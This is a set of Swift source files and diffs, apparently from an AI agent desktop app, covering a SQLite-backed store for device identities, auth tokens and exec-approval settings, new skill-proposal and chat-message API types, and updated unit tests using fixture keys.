public static func deleteAllDeviceAuthTokens() throws {
try self.withWriteTransaction { db in
try self.exec(db, "DELETE FROM device_auth_tokens")
}
}
public static func execApprovalsLocationForDisplay(configKey: String = "current") -> String {
self.tableLocationForDisplay(table: "exec_approvals_config", key: configKey)
}
public static func readExecApprovalsRaw(configKey: String = "current") -> String? {
do {
let db = try self.openStateDatabase()
defer { sqlite3_close(db) }
let sql = "SELECT raw_json FROM exec_approvals_config WHERE config_key = ?"
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
self.bindText(statement, index: 1, value: configKey)
let status = sqlite3_step(statement)
if status == SQLITE_ROW { return self.columnString(statement, index: 0) }
if status == SQLITE_DONE { return nil }
throw self.sqliteError(db, context: "SQLite exec approvals read failed")
} catch {
self.logger.warning("SQLite exec approvals read failed: \(error.localizedDescription, privacy: .public)")
return nil
}
}
public static func writeExecApprovalsConfig(
configKey: String = "current",
rawJSON: String,
socketPath: String?,
hasSocketToken: Bool,
defaultSecurity: String?,
defaultAsk: String?,
defaultAskFallback: String?,
autoAllowSkills: Bool?,
agentCount: Int,
allowlistCount: Int,
updatedAtMs: Int = Int(Date().timeIntervalSince1970 * 1000)) throws
{
try self.withWriteTransaction { db in
let sql = """
INSERT INTO exec_approvals_config (
config_key, raw_json, socket_path, has_socket_token, default_security,
default_ask, default_ask_fallback, auto_allow_skills,
agent_count, allowlist_count, updated_at_ms
)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(config_key) DO UPDATE SET
raw_json = excluded.raw_json,
socket_path = excluded.socket_path,
has_socket_token = excluded.has_socket_token,
default_security = excluded.default_security,
default_ask = excluded.default_ask,
default_ask_fallback = excluded.default_ask_fallback,
auto_allow_skills = excluded.auto_allow_skills,
agent_count = excluded.agent_count,
allowlist_count = excluded.allowlist_count,
updated_at_ms = excluded.updated_at_ms
"""
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
self.bindText(statement, index: 1, value: configKey)
self.bindText(statement, index: 2, value: rawJSON)
self.bindNullableText(statement, index: 3, value: socketPath)
sqlite3_bind_int(statement, 4, hasSocketToken ? 1 : 0)
self.bindNullableText(statement, index: 5, value: defaultSecurity)
self.bindNullableText(statement, index: 6, value: defaultAsk)
self.bindNullableText(statement, index: 7, value: defaultAskFallback)
if let autoAllowSkills {
sqlite3_bind_int(statement, 8, autoAllowSkills ? 1 : 0)
} else {
sqlite3_bind_null(statement, 8)
}
sqlite3_bind_int(statement, 9, Int32(agentCount))
sqlite3_bind_int(statement, 10, Int32(allowlistCount))
sqlite3_bind_int64(statement, 11, Int64(updatedAtMs))
guard sqlite3_step(statement) == SQLITE_DONE else {
throw self.sqliteError(db, context: "SQLite exec approvals write failed")
}
}
}
public static func readConfigHealthState() -> [String: Any] {
do {
let db = try self.openStateDatabase()
defer { sqlite3_close(db) }
let sql = """
SELECT config_path, last_known_good_json, last_promoted_good_json, last_observed_suspicious_signature
FROM config_health_entries
ORDER BY config_path ASC
"""
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
var entries: [String: Any] = [:]
while true {
let status = sqlite3_step(statement)
if status == SQLITE_DONE { break }
guard status == SQLITE_ROW, let configPath = self.columnString(statement, index: 0) else {
throw self.sqliteError(db, context: "SQLite config health read failed")
}
var entry: [String: Any] = [:]
if let lastKnownGood = self.columnJSONDictionary(statement, index: 1) {
entry["lastKnownGood"] = lastKnownGood
}
if let lastPromotedGood = self.columnJSONDictionary(statement, index: 2) {
entry["lastPromotedGood"] = lastPromotedGood
}
if let signature = self.columnString(statement, index: 3) {
entry["lastObservedSuspiciousSignature"] = signature
}
entries[configPath] = entry
}
return entries.isEmpty ? [:] : ["entries": entries]
} catch {
self.logger.warning("SQLite config health read failed: \(error.localizedDescription, privacy: .public)")
return [:]
}
}
public static func writeConfigHealthState(_ state: [String: Any]) throws {
let entries = state["entries"] as? [String: Any] ?? [:]
let updatedAtMs = Int(Date().timeIntervalSince1970 * 1000)
try self.withWriteTransaction { db in
try self.exec(db, "DELETE FROM config_health_entries")
for (configPath, rawEntry) in entries {
guard let entry = rawEntry as? [String: Any] else { continue }
try self.insertConfigHealthEntry(
db,
configPath: configPath,
entry: entry,
updatedAtMs: updatedAtMs)
}
}
}
public static func readPortGuardianRecords() -> [OpenClawSQLitePortGuardianRecord] {
do {
let db = try self.openStateDatabase()
defer { sqlite3_close(db) }
let sql = """
SELECT port, pid, command, mode, timestamp
FROM macos_port_guardian_records
ORDER BY timestamp ASC, pid ASC
"""
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
var rows: [OpenClawSQLitePortGuardianRecord] = []
while true {
let status = sqlite3_step(statement)
if status == SQLITE_DONE { break }
guard status == SQLITE_ROW else {
throw self.sqliteError(db, context: "SQLite port guardian read failed")
}
guard let command = self.columnString(statement, index: 2),
let mode = self.columnString(statement, index: 3)
else { continue }
rows.append(OpenClawSQLitePortGuardianRecord(
port: Int(sqlite3_column_int(statement, 0)),
pid: sqlite3_column_int(statement, 1),
command: command,
mode: mode,
timestamp: sqlite3_column_double(statement, 4)))
}
return rows
} catch {
self.logger.warning("SQLite port guardian read failed: \(error.localizedDescription, privacy: .public)")
return []
}
}
public static func replacePortGuardianRecords(_ records: [OpenClawSQLitePortGuardianRecord]) throws {
try self.withWriteTransaction { db in
try self.exec(db, "DELETE FROM macos_port_guardian_records")
for record in records {
try self.insertPortGuardianRecord(db, record)
}
}
}
private static func openStateDatabase() throws -> OpaquePointer? {
self.ensureSecureStateDirectory()
let url = self.databaseURL()
try FileManager().createDirectory(
at: url.deletingLastPathComponent(),
withIntermediateDirectories: true)
try? FileManager().setAttributes(
[.posixPermissions: self.secureStateDirPermissions],
ofItemAtPath: url.deletingLastPathComponent().path)
var db: OpaquePointer?
guard sqlite3_open_v2(url.path, &db, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, nil) == SQLITE_OK
else {
defer { sqlite3_close(db) }
throw self.sqliteError(db, context: "SQLite state open failed")
}
sqlite3_busy_timeout(db, 30_000)
try self.configureStateDatabase(db)
self.hardenStateDatabaseFiles()
return db
}
private static func configureStateDatabase(_ db: OpaquePointer?) throws {
try self.exec(db, "PRAGMA journal_mode = WAL")
try self.exec(db, "PRAGMA synchronous = NORMAL")
try self.exec(db, "PRAGMA busy_timeout = 30000")
try self.exec(db, "PRAGMA foreign_keys = ON")
try self.exec(
db,
"""
CREATE TABLE IF NOT EXISTS device_identities (
identity_key TEXT NOT NULL PRIMARY KEY,
device_id TEXT NOT NULL,
public_key_pem TEXT NOT NULL,
private_key_pem TEXT NOT NULL,
created_at_ms INTEGER NOT NULL,
updated_at_ms INTEGER NOT NULL
)
""")
try self.exec(
db,
"CREATE INDEX IF NOT EXISTS idx_device_identities_device ON device_identities(device_id, updated_at_ms DESC)")
try self.exec(
db,
"""
CREATE TABLE IF NOT EXISTS device_auth_tokens (
device_id TEXT NOT NULL,
role TEXT NOT NULL,
token TEXT NOT NULL,
scopes_json TEXT NOT NULL,
updated_at_ms INTEGER NOT NULL,
PRIMARY KEY (device_id, role)
)
""")
try self.exec(
db,
"CREATE INDEX IF NOT EXISTS idx_device_auth_tokens_updated ON device_auth_tokens(updated_at_ms DESC, device_id, role)")
try self.exec(
db,
"""
CREATE TABLE IF NOT EXISTS exec_approvals_config (
config_key TEXT NOT NULL PRIMARY KEY,
raw_json TEXT NOT NULL,
socket_path TEXT,
has_socket_token INTEGER NOT NULL,
default_security TEXT,
default_ask TEXT,
default_ask_fallback TEXT,
auto_allow_skills INTEGER,
agent_count INTEGER NOT NULL,
allowlist_count INTEGER NOT NULL,
updated_at_ms INTEGER NOT NULL
)
""")
try self.exec(
db,
"""
CREATE TABLE IF NOT EXISTS macos_port_guardian_records (
pid INTEGER NOT NULL PRIMARY KEY,
port INTEGER NOT NULL,
command TEXT NOT NULL,
mode TEXT NOT NULL,
timestamp REAL NOT NULL
)
""")
try self.exec(
db,
"CREATE INDEX IF NOT EXISTS idx_macos_port_guardian_records_port ON macos_port_guardian_records(port, timestamp DESC)")
try self.exec(
db,
"""
CREATE TABLE IF NOT EXISTS config_health_entries (
config_path TEXT NOT NULL PRIMARY KEY,
last_known_good_json TEXT,
last_promoted_good_json TEXT,
last_observed_suspicious_signature TEXT,
updated_at_ms INTEGER NOT NULL
)
""")
}
private static func prepare(_ db: OpaquePointer?, _ sql: String, _ statement: inout OpaquePointer?) throws {
guard sqlite3_prepare_v2(db, sql, -1, &statement, nil) == SQLITE_OK else {
throw self.sqliteError(db, context: "SQLite state prepare failed")
}
}
private static func insertPortGuardianRecord(
_ db: OpaquePointer?,
_ record: OpenClawSQLitePortGuardianRecord) throws
{
let sql = """
INSERT INTO macos_port_guardian_records (pid, port, command, mode, timestamp)
VALUES (?, ?, ?, ?, ?)
"""
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
sqlite3_bind_int(statement, 1, record.pid)
sqlite3_bind_int(statement, 2, Int32(record.port))
self.bindText(statement, index: 3, value: record.command)
self.bindText(statement, index: 4, value: record.mode)
sqlite3_bind_double(statement, 5, record.timestamp)
guard sqlite3_step(statement) == SQLITE_DONE else {
throw self.sqliteError(db, context: "SQLite port guardian write failed")
}
}
private static func exec(_ db: OpaquePointer?, _ sql: String) throws {
var errorMessage: UnsafeMutablePointer<CChar>?
if sqlite3_exec(db, sql, nil, nil, &errorMessage) != SQLITE_OK {
let message = errorMessage.map { String(cString: $0) }
sqlite3_free(errorMessage)
throw NSError(
domain: "OpenClawSQLiteStateStore",
code: Int(sqlite3_errcode(db)),
userInfo: [
NSLocalizedDescriptionKey: message ?? sqlite3ErrorMessage(db),
])
}
}
private static func bindText(_ statement: OpaquePointer?, index: Int32, value: String) {
let transient = unsafeBitCast(-1, to: sqlite3_destructor_type.self)
sqlite3_bind_text(statement, index, value, -1, transient)
}
private static func bindNullableText(_ statement: OpaquePointer?, index: Int32, value: String?) {
guard let value else {
sqlite3_bind_null(statement, index)
return
}
self.bindText(statement, index: index, value: value)
}
private static func columnString(_ statement: OpaquePointer?, index: Int32) -> String? {
guard let raw = sqlite3_column_text(statement, index) else { return nil }
return String(cString: UnsafeRawPointer(raw).assumingMemoryBound(to: CChar.self))
}
private static func columnJSONDictionary(_ statement: OpaquePointer?, index: Int32) -> [String: Any]? {
guard let raw = self.columnString(statement, index: index),
let data = raw.data(using: .utf8),
let object = try? JSONSerialization.jsonObject(with: data) as? [String: Any]
else { return nil }
return object
}
private static func jsonString(_ value: Any?) -> String? {
guard let value, !(value is NSNull), JSONSerialization.isValidJSONObject(value),
let data = try? JSONSerialization.data(withJSONObject: value, options: [.sortedKeys])
else { return nil }
return String(data: data, encoding: .utf8)
}
private static func insertConfigHealthEntry(
_ db: OpaquePointer?,
configPath: String,
entry: [String: Any],
updatedAtMs: Int) throws
{
let sql = """
INSERT INTO config_health_entries (
config_path, last_known_good_json, last_promoted_good_json,
last_observed_suspicious_signature, updated_at_ms
)
VALUES (?, ?, ?, ?, ?)
"""
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
self.bindText(statement, index: 1, value: configPath)
self.bindNullableText(statement, index: 2, value: self.jsonString(entry["lastKnownGood"]))
self.bindNullableText(statement, index: 3, value: self.jsonString(entry["lastPromotedGood"]))
self.bindNullableText(
statement,
index: 4,
value: entry["lastObservedSuspiciousSignature"] as? String)
sqlite3_bind_int64(statement, 5, Int64(updatedAtMs))
guard sqlite3_step(statement) == SQLITE_DONE else {
throw self.sqliteError(db, context: "SQLite config health write failed")
}
}
private static func withWriteTransaction(_ body: (OpaquePointer?) throws -> Void) throws {
let db = try self.openStateDatabase()
defer { sqlite3_close(db) }
try self.exec(db, "BEGIN IMMEDIATE")
do {
try body(db)
try self.exec(db, "COMMIT")
} catch {
try? self.exec(db, "ROLLBACK")
throw error
}
self.hardenStateDatabaseFiles()
}
private static func sqliteError(_ db: OpaquePointer?, context: String) -> NSError {
NSError(
domain: "OpenClawSQLiteStateStore",
code: Int(sqlite3_errcode(db)),
userInfo: [
NSLocalizedDescriptionKey: "\(context): \(self.sqlite3ErrorMessage(db))",
])
}
private static func sqlite3ErrorMessage(_ db: OpaquePointer?) -> String {
guard let message = sqlite3_errmsg(db) else {
return "unknown SQLite error"
}
return String(cString: message)
}
private static func hardenStateDatabaseFiles() {
let path = self.databaseURL().path
for suffix in ["", "-wal", "-shm"] {
let candidate = "\(path)\(suffix)"
if FileManager().fileExists(atPath: candidate) {
try? FileManager().setAttributes([.posixPermissions: 0o600], ofItemAtPath: candidate)
}
}
}
private static func ensureSecureStateDirectory() {
let url = DeviceIdentityPaths.stateDirURL()
do {
try FileManager().createDirectory(at: url, withIntermediateDirectories: true)
try FileManager().setAttributes(
[.posixPermissions: self.secureStateDirPermissions],
ofItemAtPath: url.path)
} catch {
self.logger.warning(
"SQLite state dir permission hardening failed: \(error.localizedDescription, privacy: .public)")
}
}
}

View File

@@ -389,6 +389,15 @@
"plan.0.step"
]
},
"skill_workshop": {
"emoji": "🧰",
"title": "Skill Workshop",
"detailKeys": [
"action",
"name",
"proposal_id"
]
},
"gateway": {
"emoji": "🔌",
"title": "Gateway",

View File

@@ -5276,6 +5276,334 @@ public struct SkillsDetailResult: Codable, Sendable {
}
}
public struct SkillsProposalsListParams: Codable, Sendable {
public let agentid: String?
public init(
agentid: String? = nil)
{
self.agentid = agentid
}
private enum CodingKeys: String, CodingKey {
case agentid = "agentId"
}
}
public struct SkillsProposalsListResult: Codable, Sendable {
public let schema: String
public let updatedat: String
public let proposals: [[String: AnyCodable]]
public init(
schema: String,
updatedat: String,
proposals: [[String: AnyCodable]])
{
self.schema = schema
self.updatedat = updatedat
self.proposals = proposals
}
private enum CodingKeys: String, CodingKey {
case schema
case updatedat = "updatedAt"
case proposals
}
}
public struct SkillsProposalInspectParams: Codable, Sendable {
public let agentid: String?
public let proposalid: String
public init(
agentid: String? = nil,
proposalid: String)
{
self.agentid = agentid
self.proposalid = proposalid
}
private enum CodingKeys: String, CodingKey {
case agentid = "agentId"
case proposalid = "proposalId"
}
}
public struct SkillsProposalInspectResult: Codable, Sendable {
public let record: SkillsProposalRecordResult
public let content: String
public let supportfiles: [[String: AnyCodable]]?
public init(
record: SkillsProposalRecordResult,
content: String,
supportfiles: [[String: AnyCodable]]?)
{
self.record = record
self.content = content
self.supportfiles = supportfiles
}
private enum CodingKeys: String, CodingKey {
case record
case content
case supportfiles = "supportFiles"
}
}
public struct SkillsProposalCreateParams: Codable, Sendable {
public let agentid: String?
public let name: String
public let description: String
public let content: String
public let supportfiles: [[String: AnyCodable]]?
public let goal: String?
public let evidence: String?
public init(
agentid: String? = nil,
name: String,
description: String,
content: String,
supportfiles: [[String: AnyCodable]]?,
goal: String?,
evidence: String?)
{
self.agentid = agentid
self.name = name
self.description = description
self.content = content
self.supportfiles = supportfiles
self.goal = goal
self.evidence = evidence
}
private enum CodingKeys: String, CodingKey {
case agentid = "agentId"
case name
case description
case content
case supportfiles = "supportFiles"
case goal
case evidence
}
}
public struct SkillsProposalUpdateParams: Codable, Sendable {
public let agentid: String?
public let skillname: String
public let description: String?
public let content: String
public let supportfiles: [[String: AnyCodable]]?
public let goal: String?
public let evidence: String?
public init(
agentid: String? = nil,
skillname: String,
description: String?,
content: String,
supportfiles: [[String: AnyCodable]]?,
goal: String?,
evidence: String?)
{
self.agentid = agentid
self.skillname = skillname
self.description = description
self.content = content
self.supportfiles = supportfiles
self.goal = goal
self.evidence = evidence
}
private enum CodingKeys: String, CodingKey {
case agentid = "agentId"
case skillname = "skillName"
case description
case content
case supportfiles = "supportFiles"
case goal
case evidence
}
}
public struct SkillsProposalReviseParams: Codable, Sendable {
public let agentid: String?
public let proposalid: String
public let content: String
public let supportfiles: [[String: AnyCodable]]?
public let description: String?
public let goal: String?
public let evidence: String?
public init(
agentid: String? = nil,
proposalid: String,
content: String,
supportfiles: [[String: AnyCodable]]?,
description: String?,
goal: String?,
evidence: String?)
{
self.agentid = agentid
self.proposalid = proposalid
self.content = content
self.supportfiles = supportfiles
self.description = description
self.goal = goal
self.evidence = evidence
}
private enum CodingKeys: String, CodingKey {
case agentid = "agentId"
case proposalid = "proposalId"
case content
case supportfiles = "supportFiles"
case description
case goal
case evidence
}
}
public struct SkillsProposalActionParams: Codable, Sendable {
public let agentid: String?
public let proposalid: String
public let reason: String?
public init(
agentid: String? = nil,
proposalid: String,
reason: String?)
{
self.agentid = agentid
self.proposalid = proposalid
self.reason = reason
}
private enum CodingKeys: String, CodingKey {
case agentid = "agentId"
case proposalid = "proposalId"
case reason
}
}
public struct SkillsProposalApplyResult: Codable, Sendable {
public let record: SkillsProposalRecordResult
public let targetskillfile: String
public init(
record: SkillsProposalRecordResult,
targetskillfile: String)
{
self.record = record
self.targetskillfile = targetskillfile
}
private enum CodingKeys: String, CodingKey {
case record
case targetskillfile = "targetSkillFile"
}
}
public struct SkillsProposalRecordResult: Codable, Sendable {
public let schema: String
public let id: String
public let kind: AnyCodable
public let status: AnyCodable
public let title: String
public let description: String
public let createdat: String
public let updatedat: String
public let createdby: AnyCodable
public let proposedversion: String
public let draftfile: String
public let drafthash: String
public let supportfiles: [[String: AnyCodable]]?
public let target: [String: AnyCodable]
public let scan: [String: AnyCodable]
public let goal: String?
public let evidence: String?
public let appliedat: String?
public let rejectedat: String?
public let quarantinedat: String?
public let staleat: String?
public let statusreason: String?
public init(
schema: String,
id: String,
kind: AnyCodable,
status: AnyCodable,
title: String,
description: String,
createdat: String,
updatedat: String,
createdby: AnyCodable,
proposedversion: String,
draftfile: String,
drafthash: String,
supportfiles: [[String: AnyCodable]]?,
target: [String: AnyCodable],
scan: [String: AnyCodable],
goal: String?,
evidence: String?,
appliedat: String?,
rejectedat: String?,
quarantinedat: String?,
staleat: String?,
statusreason: String?)
{
self.schema = schema
self.id = id
self.kind = kind
self.status = status
self.title = title
self.description = description
self.createdat = createdat
self.updatedat = updatedat
self.createdby = createdby
self.proposedversion = proposedversion
self.draftfile = draftfile
self.drafthash = drafthash
self.supportfiles = supportfiles
self.target = target
self.scan = scan
self.goal = goal
self.evidence = evidence
self.appliedat = appliedat
self.rejectedat = rejectedat
self.quarantinedat = quarantinedat
self.staleat = staleat
self.statusreason = statusreason
}
private enum CodingKeys: String, CodingKey {
case schema
case id
case kind
case status
case title
case description
case createdat = "createdAt"
case updatedat = "updatedAt"
case createdby = "createdBy"
case proposedversion = "proposedVersion"
case draftfile = "draftFile"
case drafthash = "draftHash"
case supportfiles = "supportFiles"
case target
case scan
case goal
case evidence
case appliedat = "appliedAt"
case rejectedat = "rejectedAt"
case quarantinedat = "quarantinedAt"
case staleat = "staleAt"
case statusreason = "statusReason"
}
}
public struct SkillsSecurityVerdictsParams: Codable, Sendable {
public let agentid: String?
@@ -6552,6 +6880,54 @@ public struct ChatHistoryParams: Codable, Sendable {
}
}
public struct ChatMessageGetParams: Codable, Sendable {
public let sessionkey: String
public let agentid: String?
public let messageid: String
public let maxchars: Int?
public init(
sessionkey: String,
agentid: String? = nil,
messageid: String,
maxchars: Int?)
{
self.sessionkey = sessionkey
self.agentid = agentid
self.messageid = messageid
self.maxchars = maxchars
}
private enum CodingKeys: String, CodingKey {
case sessionkey = "sessionKey"
case agentid = "agentId"
case messageid = "messageId"
case maxchars = "maxChars"
}
}
public struct ChatMessageGetResult: Codable, Sendable {
public let ok: Bool
public let message: AnyCodable?
public let unavailablereason: AnyCodable?
public init(
ok: Bool,
message: AnyCodable?,
unavailablereason: AnyCodable?)
{
self.ok = ok
self.message = message
self.unavailablereason = unavailablereason
}
private enum CodingKeys: String, CodingKey {
case ok
case message
case unavailablereason = "unavailableReason"
}
}
public struct ChatSendParams: Codable, Sendable {
public let sessionkey: String
public let agentid: String?

View File

@@ -396,7 +396,7 @@ private final class TestChatTransport: @unchecked Sendable, OpenClawChatTranspor
}
return self.sessionsResponses.last ?? OpenClawChatSessionsListResponse(
ts: nil,
path: nil,
databasePath: nil,
count: 0,
defaults: nil,
sessions: [])
@@ -1226,7 +1226,7 @@ extension TestChatTransportState {
let history = historyPayload()
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 4,
defaults: nil,
sessions: [
@@ -1250,7 +1250,7 @@ extension TestChatTransportState {
let history = historyPayload(sessionKey: "custom", sessionId: "sess-custom")
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 1,
defaults: nil,
sessions: [
@@ -1275,7 +1275,7 @@ extension TestChatTransportState {
let history = historyPayload(sessionKey: "Lukes MacBook Pro", sessionId: "sess-main")
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 2,
defaults: OpenClawChatSessionsDefaults(
model: nil,
@@ -1323,7 +1323,7 @@ extension TestChatTransportState {
let history = historyPayload(sessionKey: "agent:main:main", sessionId: "sess-main")
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 2,
defaults: OpenClawChatSessionsDefaults(
model: nil,
@@ -1656,7 +1656,7 @@ extension TestChatTransportState {
let history = historyPayload()
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 1,
defaults: OpenClawChatSessionsDefaults(model: "openai/gpt-4.1-mini", contextTokens: nil),
sessions: [
@@ -1684,7 +1684,7 @@ extension TestChatTransportState {
let history = historyPayload()
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 1,
defaults: OpenClawChatSessionsDefaults(model: "openai/gpt-4.1-mini", contextTokens: nil),
sessions: [
@@ -1717,7 +1717,7 @@ extension TestChatTransportState {
let history = historyPayload()
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 1,
defaults: OpenClawChatSessionsDefaults(model: "openrouter/gpt-4.1-mini", contextTokens: nil),
sessions: [
@@ -1750,7 +1750,7 @@ extension TestChatTransportState {
let history = historyPayload()
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 1,
defaults: nil,
sessions: [
@@ -1783,7 +1783,7 @@ extension TestChatTransportState {
let history = historyPayload()
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 1,
defaults: nil,
sessions: [
@@ -1826,7 +1826,7 @@ extension TestChatTransportState {
let history = historyPayload()
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 1,
defaults: nil,
sessions: [
@@ -1879,7 +1879,7 @@ extension TestChatTransportState {
let history = historyPayload()
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 1,
defaults: nil,
sessions: [
@@ -1929,7 +1929,7 @@ extension TestChatTransportState {
let history = historyPayload()
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 1,
defaults: nil,
sessions: [
@@ -1977,7 +1977,7 @@ extension TestChatTransportState {
let now = Date().timeIntervalSince1970 * 1000
let sessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 2,
defaults: nil,
sessions: [
@@ -2022,7 +2022,7 @@ extension TestChatTransportState {
let now = Date().timeIntervalSince1970 * 1000
let initialSessions = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 2,
defaults: nil,
sessions: [
@@ -2031,7 +2031,7 @@ extension TestChatTransportState {
])
let sessionsAfterOtherSelection = OpenClawChatSessionsListResponse(
ts: now,
path: nil,
databasePath: nil,
count: 2,
defaults: nil,
sessions: [
@@ -2189,10 +2189,10 @@ extension TestChatTransportState {
thinkingLevel: "adaptive")
let sessions = OpenClawChatSessionsListResponse(
ts: 1,
path: nil,
databasePath: nil,
count: 1,
defaults: OpenClawChatSessionsDefaults(
modelProvider: "openai-codex",
modelProvider: "openai",
model: "gpt-5.5",
contextTokens: nil,
thinkingLevels: [
@@ -2252,7 +2252,7 @@ extension TestChatTransportState {
thinkingLevel: "xhigh")
let sessions = OpenClawChatSessionsListResponse(
ts: 1,
path: nil,
databasePath: nil,
count: 1,
defaults: nil,
sessions: [
@@ -2300,7 +2300,7 @@ extension TestChatTransportState {
thinkingLevel: "adaptive")
let sessions = OpenClawChatSessionsListResponse(
ts: 1,
path: nil,
databasePath: nil,
count: 1,
defaults: OpenClawChatSessionsDefaults(
modelProvider: "anthropic",
@@ -2356,7 +2356,7 @@ extension TestChatTransportState {
thinkingLevel: "max")
let sessions = OpenClawChatSessionsListResponse(
ts: 1,
path: nil,
databasePath: nil,
count: 1,
defaults: OpenClawChatSessionsDefaults(
modelProvider: "anthropic",

View File

@@ -5,68 +5,419 @@ import Testing
@Suite(.serialized)
struct DeviceIdentityStoreTests {
@Test("loads TypeScript PEM identity schema without rewriting or regenerating")
func loadsTypeScriptPEMIdentitySchema() throws {
let tempDir = FileManager.default.temporaryDirectory
.appendingPathComponent(UUID().uuidString, isDirectory: true)
let identityURL = tempDir
.appendingPathComponent("identity", isDirectory: true)
.appendingPathComponent("device.json", isDirectory: false)
defer { try? FileManager.default.removeItem(at: tempDir) }
try FileManager.default.createDirectory(
at: identityURL.deletingLastPathComponent(),
withIntermediateDirectories: true)
let stored = try Self.identityJSON(
publicKeyPem: Self.pem(
label: "PUBLIC KEY",
body: "MCowBQYDK2VwAyEAA6EHv/POEL4dcN0Y50vAmWfk1jCbpQ1fHdyGZBJVMbg="),
privateKeyPem: Self.pem(
label: "PRIVATE KEY",
body: "MC4CAQAwBQYDK2VwBCIEIAABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4f"))
try stored.write(to: identityURL, atomically: true, encoding: .utf8)
let before = try String(contentsOf: identityURL, encoding: .utf8)
@Test("persists generated device identity in SQLite without JSON sidecars")
func persistsGeneratedIdentityInSQLite() throws {
try Self.withTempStateDir { stateDir in
let identity = DeviceIdentityStore.loadOrCreate()
let loaded = DeviceIdentityStore.loadOrCreate()
let identity = DeviceIdentityStore.loadOrCreate(fileURL: identityURL)
#expect(loaded.deviceId == identity.deviceId)
#expect(loaded.publicKey == identity.publicKey)
#expect(FileManager.default.fileExists(atPath: Self.databaseURL(stateDir: stateDir).path))
#expect(!FileManager.default.fileExists(atPath: Self.legacyIdentityURL(stateDir: stateDir).path))
#expect(identity.deviceId == "56475aa75463474c0285df5dbf2bcab73da651358839e9b77481b2eab107708c")
#expect(identity.publicKey == "A6EHv/POEL4dcN0Y50vAmWfk1jCbpQ1fHdyGZBJVMbg=")
#expect(identity.privateKey == "AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8=")
#expect(DeviceIdentityStore.publicKeyBase64Url(identity) == "A6EHv_POEL4dcN0Y50vAmWfk1jCbpQ1fHdyGZBJVMbg")
let signature = try #require(DeviceIdentityStore.signPayload("hello", identity: identity))
let publicKeyData = try #require(Data(base64Encoded: identity.publicKey))
let signatureData = try #require(Self.base64UrlDecode(signature))
let publicKey = try Curve25519.Signing.PublicKey(rawRepresentation: publicKeyData)
#expect(publicKey.isValidSignature(signatureData, for: Data("hello".utf8)))
#expect(try String(contentsOf: identityURL, encoding: .utf8) == before)
let stored = try #require(OpenClawSQLiteStateStore.readDeviceIdentity())
#expect(stored.deviceId == identity.deviceId)
#expect(stored.publicKeyPem.contains("BEGIN PUBLIC KEY"))
#expect(stored.privateKeyPem.contains(Self.privateKeyMarker("BEGIN")))
}
}
@Test("does not overwrite a recognized invalid TypeScript identity schema")
func preservesInvalidTypeScriptPEMIdentitySchema() throws {
@Test("surfaces SQLite identity read failures distinctly from missing rows")
func surfacesSQLiteIdentityReadFailures() throws {
try Self.withTempStateDir { stateDir in
try FileManager.default.createDirectory(
at: Self.databaseURL(stateDir: stateDir),
withIntermediateDirectories: true)
#expect(throws: Error.self) {
_ = try OpenClawSQLiteStateStore.readDeviceIdentityChecked()
}
}
}
@Test("loads TypeScript PEM identity schema from SQLite")
func loadsTypeScriptPEMIdentitySchema() throws {
try Self.withTempStateDir { stateDir in
let stored = try Self.identityJSON(
publicKeyPem: Self.pem(
label: "PUBLIC KEY",
body: "MCowBQYDK2VwAyEAA6EHv/POEL4dcN0Y50vAmWfk1jCbpQ1fHdyGZBJVMbg="),
privateKeyPem: Self.pem(
label: "PRIVATE" + " KEY",
body: "MC4CAQAwBQYDK2VwBCIEIAABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4f"))
let object = try #require(try JSONSerialization.jsonObject(with: stored) as? [String: Any])
try OpenClawSQLiteStateStore.writeDeviceIdentity(
identity: OpenClawSQLiteDeviceIdentityRow(
deviceId: try #require(object["deviceId"] as? String),
publicKeyPem: try #require(object["publicKeyPem"] as? String),
privateKeyPem: try #require(object["privateKeyPem"] as? String),
createdAtMs: try #require(object["createdAtMs"] as? Int)))
let identity = DeviceIdentityStore.loadOrCreate()
#expect(identity.deviceId == "56475aa75463474c0285df5dbf2bcab73da651358839e9b77481b2eab107708c")
#expect(identity.publicKey == "A6EHv/POEL4dcN0Y50vAmWfk1jCbpQ1fHdyGZBJVMbg=")
#expect(identity.privateKey == "AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8=")
#expect(DeviceIdentityStore.publicKeyBase64Url(identity) == "A6EHv_POEL4dcN0Y50vAmWfk1jCbpQ1fHdyGZBJVMbg")
#expect(!FileManager.default.fileExists(atPath: Self.legacyIdentityURL(stateDir: stateDir).path))
let signature = try #require(DeviceIdentityStore.signPayload("hello", identity: identity))
let publicKeyData = try #require(Data(base64Encoded: identity.publicKey))
